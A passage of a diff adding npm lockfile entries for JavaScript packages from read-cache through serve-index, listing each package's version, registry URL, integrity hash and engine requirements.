+      "engines": {
+        "node": ">=14.0.0"
+      },
+      "optionalDependencies": {
+        "fsevents": "^2.3.2"
+      },
+      "peerDependencies": {
+        "react": ">= 16",
+        "typescript": "^3.2.1 || ^4"
+      },
+      "peerDependenciesMeta": {
+        "typescript": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/read-cache": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz",
+      "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==",
+      "dependencies": {
+        "pify": "^2.3.0"
+      }
+    },
+    "node_modules/readable-stream": {
+      "version": "3.6.0",
+      "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
+      "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
+      "dependencies": {
+        "inherits": "^2.0.3",
+        "string_decoder": "^1.1.1",
+        "util-deprecate": "^1.0.1"
+      },
+      "engines": {
+        "node": ">= 6"
+      }
+    },
+    "node_modules/readdirp": {
+      "version": "3.6.0",
+      "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
+      "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==",
+      "dependencies": {
+        "picomatch": "^2.2.1"
+      },
+      "engines": {
+        "node": ">=8.10.0"
+      }
+    },
+    "node_modules/recursive-readdir": {
+      "version": "2.2.3",
+      "resolved": "https://registry.npmjs.org/recursive-readdir/-/recursive-readdir-2.2.3.tgz",
+      "integrity": "sha512-8HrF5ZsXk5FAH9dgsx3BlUer73nIhuj+9OrQwEbLTPOBzGkL1lsFCR01am+v+0m2Cmbs1nP12hLDl5FA7EszKA==",
+      "dependencies": {
+        "minimatch": "^3.0.5"
+      },
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/redent": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz",
+      "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==",
+      "dependencies": {
+        "indent-string": "^4.0.0",
+        "strip-indent": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/regenerate": {
+      "version": "1.4.2",
+      "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.2.tgz",
+      "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A=="
+    },
+    "node_modules/regenerate-unicode-properties": {
+      "version": "10.1.0",
+      "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.1.0.tgz",
+      "integrity": "sha512-d1VudCLoIGitcU/hEg2QqvyGZQmdC0Lf8BqdOMXGFSvJP4bNV1+XqbPQeHHLD51Jh4QJJ225dlIFvY4Ly6MXmQ==",
+      "dependencies": {
+        "regenerate": "^1.4.2"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/regenerator-runtime": {
+      "version": "0.13.9",
+      "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.9.tgz",
+      "integrity": "sha512-p3VT+cOEgxFsRRA9X4lkI1E+k2/CtnKtU4gcxyaCUreilL/vqI6CdZ3wxVUx3UOUg+gnUOQQcRI7BmSI656MYA=="
+    },
+    "node_modules/regenerator-transform": {
+      "version": "0.15.0",
+      "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.15.0.tgz",
+      "integrity": "sha512-LsrGtPmbYg19bcPHwdtmXwbW+TqNvtY4riE3P83foeHRroMbH6/2ddFBfab3t7kbzc7v7p4wbkIecHImqt0QNg==",
+      "dependencies": {
+        "@babel/runtime": "^7.8.4"
+      }
+    },
+    "node_modules/regex-parser": {
+      "version": "2.2.11",
+      "resolved": "https://registry.npmjs.org/regex-parser/-/regex-parser-2.2.11.tgz",
+      "integrity": "sha512-jbD/FT0+9MBU2XAZluI7w2OBs1RBi6p9M83nkoZayQXXU9e8Robt69FcZc7wU4eJD/YFTjn1JdCk3rbMJajz8Q=="
+    },
+    "node_modules/regexp.prototype.flags": {
+      "version": "1.4.3",
+      "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.4.3.tgz",
+      "integrity": "sha512-fjggEOO3slI6Wvgjwflkc4NFRCTZAu5CnNfBd5qOMYhWdn67nJBBu34/TkD++eeFmd8C9r9jfXJ27+nSiRkSUA==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.3",
+        "functions-have-names": "^1.2.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/regexpp": {
+      "version": "3.2.0",
+      "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-3.2.0.tgz",
+      "integrity": "sha512-pq2bWo9mVD43nbts2wGv17XLiNLya+GklZ8kaDLV2Z08gDCsGpnKn9BFMepvWuHCbyVvY7J5o5+BVvoQbmlJLg==",
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/mysticatea"
+      }
+    },
+    "node_modules/regexpu-core": {
+      "version": "5.2.1",
+      "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-5.2.1.tgz",
+      "integrity": "sha512-HrnlNtpvqP1Xkb28tMhBUO2EbyUHdQlsnlAhzWcwHy8WJR53UWr7/MAvqrsQKMbV4qdpv03oTMG8iIhfsPFktQ==",
+      "dependencies": {
+        "regenerate": "^1.4.2",
+        "regenerate-unicode-properties": "^10.1.0",
+        "regjsgen": "^0.7.1",
+        "regjsparser": "^0.9.1",
+        "unicode-match-property-ecmascript": "^2.0.0",
+        "unicode-match-property-value-ecmascript": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/regjsgen": {
+      "version": "0.7.1",
+      "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.7.1.tgz",
+      "integrity": "sha512-RAt+8H2ZEzHeYWxZ3H2z6tF18zyyOnlcdaafLrm21Bguj7uZy6ULibiAFdXEtKQY4Sy7wDTwDiOazasMLc4KPA=="
+    },
+    "node_modules/regjsparser": {
+      "version": "0.9.1",
+      "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.9.1.tgz",
+      "integrity": "sha512-dQUtn90WanSNl+7mQKcXAgZxvUe7Z0SqXlgzv0za4LwiUhyzBC58yQO3liFoUgu8GiJVInAhJjkj1N0EtQ5nkQ==",
+      "dependencies": {
+        "jsesc": "~0.5.0"
+      },
+      "bin": {
+        "regjsparser": "bin/parser"
+      }
+    },
+    "node_modules/regjsparser/node_modules/jsesc": {
+      "version": "0.5.0",
+      "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz",
+      "integrity": "sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA==",
+      "bin": {
+        "jsesc": "bin/jsesc"
+      }
+    },
+    "node_modules/relateurl": {
+      "version": "0.2.7",
+      "resolved": "https://registry.npmjs.org/relateurl/-/relateurl-0.2.7.tgz",
+      "integrity": "sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog==",
+      "engines": {
+        "node": ">= 0.10"
+      }
+    },
+    "node_modules/renderkid": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/renderkid/-/renderkid-3.0.0.tgz",
+      "integrity": "sha512-q/7VIQA8lmM1hF+jn+sFSPWGlMkSAeNYcPLmDQx2zzuiDfaLrOmumR8iaUKlenFgh0XRPIUeSPlH3A+AW3Z5pg==",
+      "dependencies": {
+        "css-select": "^4.1.3",
+        "dom-converter": "^0.2.0",
+        "htmlparser2": "^6.1.0",
+        "lodash": "^4.17.21",
+        "strip-ansi": "^6.0.1"
+      }
+    },
+    "node_modules/require-directory": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz",
+      "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/require-from-string": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz",
+      "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/requires-port": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz",
+      "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ=="
+    },
+    "node_modules/resolve": {
+      "version": "1.22.1",
+      "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.1.tgz",
+      "integrity": "sha512-nBpuuYuY5jFsli/JIs1oldw6fOQCBioohqWZg/2hiaOybXOft4lonv85uDOKXdf8rhyK159cxU5cDcK/NKk8zw==",
+      "dependencies": {
+        "is-core-module": "^2.9.0",
+        "path-parse": "^1.0.7",
+        "supports-preserve-symlinks-flag": "^1.0.0"
+      },
+      "bin": {
+        "resolve": "bin/resolve"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/resolve-cwd": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz",
+      "integrity": "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==",
+      "dependencies": {
+        "resolve-from": "^5.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/resolve-from": {
+      "version": "5.0.0",
+      "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz",
+      "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/resolve-url": {
+      "version": "0.2.1",
+      "resolved": "https://registry.npmjs.org/resolve-url/-/resolve-url-0.2.1.tgz",
+      "integrity": "sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo=",
+      "deprecated": "https://github.com/lydell/resolve-url#deprecated"
+    },
+    "node_modules/resolve-url-loader": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/resolve-url-loader/-/resolve-url-loader-4.0.0.tgz",
+      "integrity": "sha512-05VEMczVREcbtT7Bz+C+96eUO5HDNvdthIiMB34t7FcF8ehcu4wC0sSgPUubs3XW2Q3CNLJk/BJrCU9wVRymiA==",
+      "dependencies": {
+        "adjust-sourcemap-loader": "^4.0.0",
+        "convert-source-map": "^1.7.0",
+        "loader-utils": "^2.0.0",
+        "postcss": "^7.0.35",
+        "source-map": "0.6.1"
+      },
+      "engines": {
+        "node": ">=8.9"
+      },
+      "peerDependencies": {
+        "rework": "1.0.1",
+        "rework-visit": "1.0.0"
+      },
+      "peerDependenciesMeta": {
+        "rework": {
+          "optional": true
+        },
+        "rework-visit": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/resolve-url-loader/node_modules/picocolors": {
+      "version": "0.2.1",
+      "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz",
+      "integrity": "sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA=="
+    },
+    "node_modules/resolve-url-loader/node_modules/postcss": {
+      "version": "7.0.39",
+      "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.39.tgz",
+      "integrity": "sha512-yioayjNbHn6z1/Bywyb2Y4s3yvDAeXGOyxqD+LnVOinq6Mdmd++SW2wUNVzavyyHxd6+DxzWGIuosg6P1Rj8uA==",
+      "dependencies": {
+        "picocolors": "^0.2.1",
+        "source-map": "^0.6.1"
+      },
+      "engines": {
+        "node": ">=6.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/postcss/"
+      }
+    },
+    "node_modules/resolve.exports": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/resolve.exports/-/resolve.exports-1.1.0.tgz",
+      "integrity": "sha512-J1l+Zxxp4XK3LUDZ9m60LRJF/mAe4z6a4xyabPHk7pvK5t35dACV32iIjJDFeWZFfZlO29w6SZ67knR0tHzJtQ==",
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/retry": {
+      "version": "0.13.1",
+      "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz",
+      "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==",
+      "engines": {
+        "node": ">= 4"
+      }
+    },
+    "node_modules/reusify": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz",
+      "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==",
+      "engines": {
+        "iojs": ">=1.0.0",
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/rimraf": {
+      "version": "3.0.2",
+      "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
+      "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
+      "dependencies": {
+        "glob": "^7.1.3"
+      },
+      "bin": {
+        "rimraf": "bin.js"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/isaacs"
+      }
+    },
+    "node_modules/rollup": {
+      "version": "2.79.2",
+      "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.79.2.tgz",
+      "integrity": "sha512-fS6iqSPZDs3dr/y7Od6y5nha8dW1YnbgtsyotCVvoFGKbERG++CVRFv1meyGDE1SNItQA8BrnCw7ScdAhRJ3XQ==",
+      "bin": {
+        "rollup": "dist/bin/rollup"
+      },
+      "engines": {
+        "node": ">=10.0.0"
+      },
+      "optionalDependencies": {
+        "fsevents": "~2.3.2"
+      }
+    },
+    "node_modules/rollup-plugin-terser": {
+      "version": "7.0.2",
+      "resolved": "https://registry.npmjs.org/rollup-plugin-terser/-/rollup-plugin-terser-7.0.2.tgz",
+      "integrity": "sha512-w3iIaU4OxcF52UUXiZNsNeuXIMDvFrr+ZXK6bFZ0Q60qyVfq4uLptoS4bbq3paG3x216eQllFZX7zt6TIImguQ==",
+      "dependencies": {
+        "@babel/code-frame": "^7.10.4",
+        "jest-worker": "^26.2.1",
+        "serialize-javascript": "^4.0.0",
+        "terser": "^5.0.0"
+      },
+      "peerDependencies": {
+        "rollup": "^2.0.0"
+      }
+    },
+    "node_modules/rollup-plugin-terser/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/rollup-plugin-terser/node_modules/jest-worker": {
+      "version": "26.6.2",
+      "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-26.6.2.tgz",
+      "integrity": "sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==",
+      "dependencies": {
+        "@types/node": "*",
+        "merge-stream": "^2.0.0",
+        "supports-color": "^7.0.0"
+      },
+      "engines": {
+        "node": ">= 10.13.0"
+      }
+    },
+    "node_modules/rollup-plugin-terser/node_modules/serialize-javascript": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz",
+      "integrity": "sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==",
+      "dependencies": {
+        "randombytes": "^2.1.0"
+      }
+    },
+    "node_modules/rollup-plugin-terser/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/run-parallel": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz",
+      "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ],
+      "dependencies": {
+        "queue-microtask": "^1.2.2"
+      }
+    },
+    "node_modules/safe-buffer": {
+      "version": "5.1.2",
+      "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
+      "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="
+    },
+    "node_modules/safe-regex-test": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.0.0.tgz",
+      "integrity": "sha512-JBUUzyOgEwXQY1NuPtvcj/qcBDbDmEvWufhlnXZIm75DEHp+afM1r1ujJpJsV/gSM4t59tpDyPi1sd6ZaPFfsA==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "get-intrinsic": "^1.1.3",
+        "is-regex": "^1.1.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/safer-buffer": {
+      "version": "2.1.2",
+      "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
+      "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="
+    },
+    "node_modules/sanitize.css": {
+      "version": "13.0.0",
+      "resolved": "https://registry.npmjs.org/sanitize.css/-/sanitize.css-13.0.0.tgz",
+      "integrity": "sha512-ZRwKbh/eQ6w9vmTjkuG0Ioi3HBwPFce0O+v//ve+aOq1oeCy7jMV2qzzAlpsNuqpqCBjjriM1lbtZbF/Q8jVyA=="
+    },
+    "node_modules/sass-loader": {
+      "version": "12.6.0",
+      "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-12.6.0.tgz",
+      "integrity": "sha512-oLTaH0YCtX4cfnJZxKSLAyglED0naiYfNG1iXfU5w1LNZ+ukoA5DtyDIN5zmKVZwYNJP4KRc5Y3hkWga+7tYfA==",
+      "dependencies": {
+        "klona": "^2.0.4",
+        "neo-async": "^2.6.2"
+      },
+      "engines": {
+        "node": ">= 12.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      },
+      "peerDependencies": {
+        "fibers": ">= 3.1.0",
+        "node-sass": "^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0",
+        "sass": "^1.3.0",
+        "sass-embedded": "*",
+        "webpack": "^5.0.0"
+      },
+      "peerDependenciesMeta": {
+        "fibers": {
+          "optional": true
+        },
+        "node-sass": {
+          "optional": true
+        },
+        "sass": {
+          "optional": true
+        },
+        "sass-embedded": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/sax": {
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz",
+      "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw=="
+    },
+    "node_modules/saxes": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/saxes/-/saxes-5.0.1.tgz",
+      "integrity": "sha512-5LBh1Tls8c9xgGjw3QrMwETmTMVk0oFgvrFSvWx62llR2hcEInrKNZ2GZCCuuy2lvWrdl5jhbpeqc5hRYKFOcw==",
+      "dependencies": {
+        "xmlchars": "^2.2.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/scheduler": {
+      "version": "0.19.1",
+      "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.19.1.tgz",
+      "integrity": "sha512-n/zwRWRYSUj0/3g/otKDRPMh6qv2SYMWNq85IEa8iZyAv8od9zDYpGSnpBEjNgcMNq6Scbu5KfIPxNF72R/2EA==",
+      "dependencies": {
+        "loose-envify": "^1.1.0",
+        "object-assign": "^4.1.1"
+      }
+    },
+    "node_modules/schema-utils": {
+      "version": "3.3.0",
+      "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz",
+      "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==",
+      "dependencies": {
+        "@types/json-schema": "^7.0.8",
+        "ajv": "^6.12.5",
+        "ajv-keywords": "^3.5.2"
+      },
+      "engines": {
+        "node": ">= 10.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      }
+    },
+    "node_modules/select-hose": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/select-hose/-/select-hose-2.0.0.tgz",
+      "integrity": "sha512-mEugaLK+YfkijB4fx0e6kImuJdCIt2LxCRcbEYPqRGCs4F2ogyfZU5IAZRdjCP8JPq2AtdNoC/Dux63d9Kiryg=="
+    },
+    "node_modules/selfsigned": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-2.1.1.tgz",
+      "integrity": "sha512-GSL3aowiF7wa/WtSFwnUrludWFoNhftq8bUkH9pkzjpN2XSPOAYEgg6e0sS9s0rZwgJzJiQRPU18A6clnoW5wQ==",
+      "dependencies": {
+        "node-forge": "^1"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/semver": {
+      "version": "7.5.4",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz",
+      "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==",
+      "dependencies": {
+        "lru-cache": "^6.0.0"
+      },
+      "bin": {
+        "semver": "bin/semver.js"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/send": {
+      "version": "0.19.0",
+      "resolved": "https://registry.npmjs.org/send/-/send-0.19.0.tgz",
+      "integrity": "sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw==",
+      "dependencies": {
+        "debug": "2.6.9",
+        "depd": "2.0.0",
+        "destroy": "1.2.0",
+        "encodeurl": "~1.0.2",
+        "escape-html": "~1.0.3",
+        "etag": "~1.8.1",
+        "fresh": "0.5.2",
+        "http-errors": "2.0.0",
+        "mime": "1.6.0",
+        "ms": "2.1.3",
+        "on-finished": "2.4.1",
+        "range-parser": "~1.2.1",
+        "statuses": "2.0.1"
+      },
+      "engines": {
+        "node": ">= 0.8.0"
+      }
+    },
+    "node_modules/send/node_modules/debug": {
+      "version": "2.6.9",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+      "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+      "dependencies": {
+        "ms": "2.0.0"
+      }
+    },
+    "node_modules/send/node_modules/debug/node_modules/ms": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+    },
+    "node_modules/send/node_modules/encodeurl": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz",
+      "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/send/node_modules/ms": {
+      "version": "2.1.3",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+      "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
+    },
+    "node_modules/serialize-javascript": {
+      "version": "6.0.2",
+      "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.2.tgz",
+      "integrity": "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==",
+      "dependencies": {
+        "randombytes": "^2.1.0"
+      }
+    },
+    "node_modules/serve-index": {
+      "version": "1.9.1",
+      "resolved": "https://registry.npmjs.org/serve-index/-/serve-index-1.9.1.tgz",
+      "integrity": "sha512-pXHfKNP4qujrtteMrSBb0rc8HJ9Ms/GrXwcUtUtD5s4ewDJI8bT3Cz2zTVRMKtri49pLx2e0Ya8ziP5Ya2pZZw==",
+      "dependencies": {
+        "accepts": "~1.3.4",
+        "batch": "0.6.1",
+        "debug": "2.6.9",
+        "escape-html": "~1.0.3",
+        "http-errors": "~1.6.2",
+        "mime-types": "~2.1.17",
+        "parseurl": "~1.3.2"
+      },
+      "engines": {
+        "node": ">= 0.8.0"
+      }
+    },
+    "node_modules/serve-index/node_modules/debug": {
+      "version": "2.6.9",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+      "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+      "dependencies": {
+        "ms": "2.0.0"
+      }
+    },
+    "node_modules/serve-index/node_modules/depd": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz",
+      "integrity": "sha512-7emPTl6Dpo6JRXOXjLRxck+FlLRX5847cLKEn00PLAgc3g2hTZZgr+e4c2v6QpSmLeFP3n5yUo7ft6avBK/5jQ==",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/serve-index/node_modules/http-errors": {
+      "version": "1.6.3",
+      "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz",
+      "integrity": "sha512-lks+lVC8dgGyh97jxvxeYTWQFvh4uw4yC12gVl63Cg30sjPX4wuGcdkICVXDAESr6OJGjqGA8Iz5mkeN6zlD7A==",
+      "dependencies": {
+        "depd": "~1.1.2",
+        "inherits": "2.0.3",
+        "setprototypeof": "1.1.0",
+        "statuses": ">= 1.4.0 < 2"
+      },
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/serve-index/node_modules/inherits": {
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
+      "integrity": "sha512-x00IRNXNy63jwGkJmzPigoySHbaqpNuzKbBOmzK+g2OdZpQ9w+sxCN+VSB3ja7IAge2OP2qpfxTjeNcyjmW1uw=="
+    },
+    "node_modules/serve-index/node_modules/ms": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
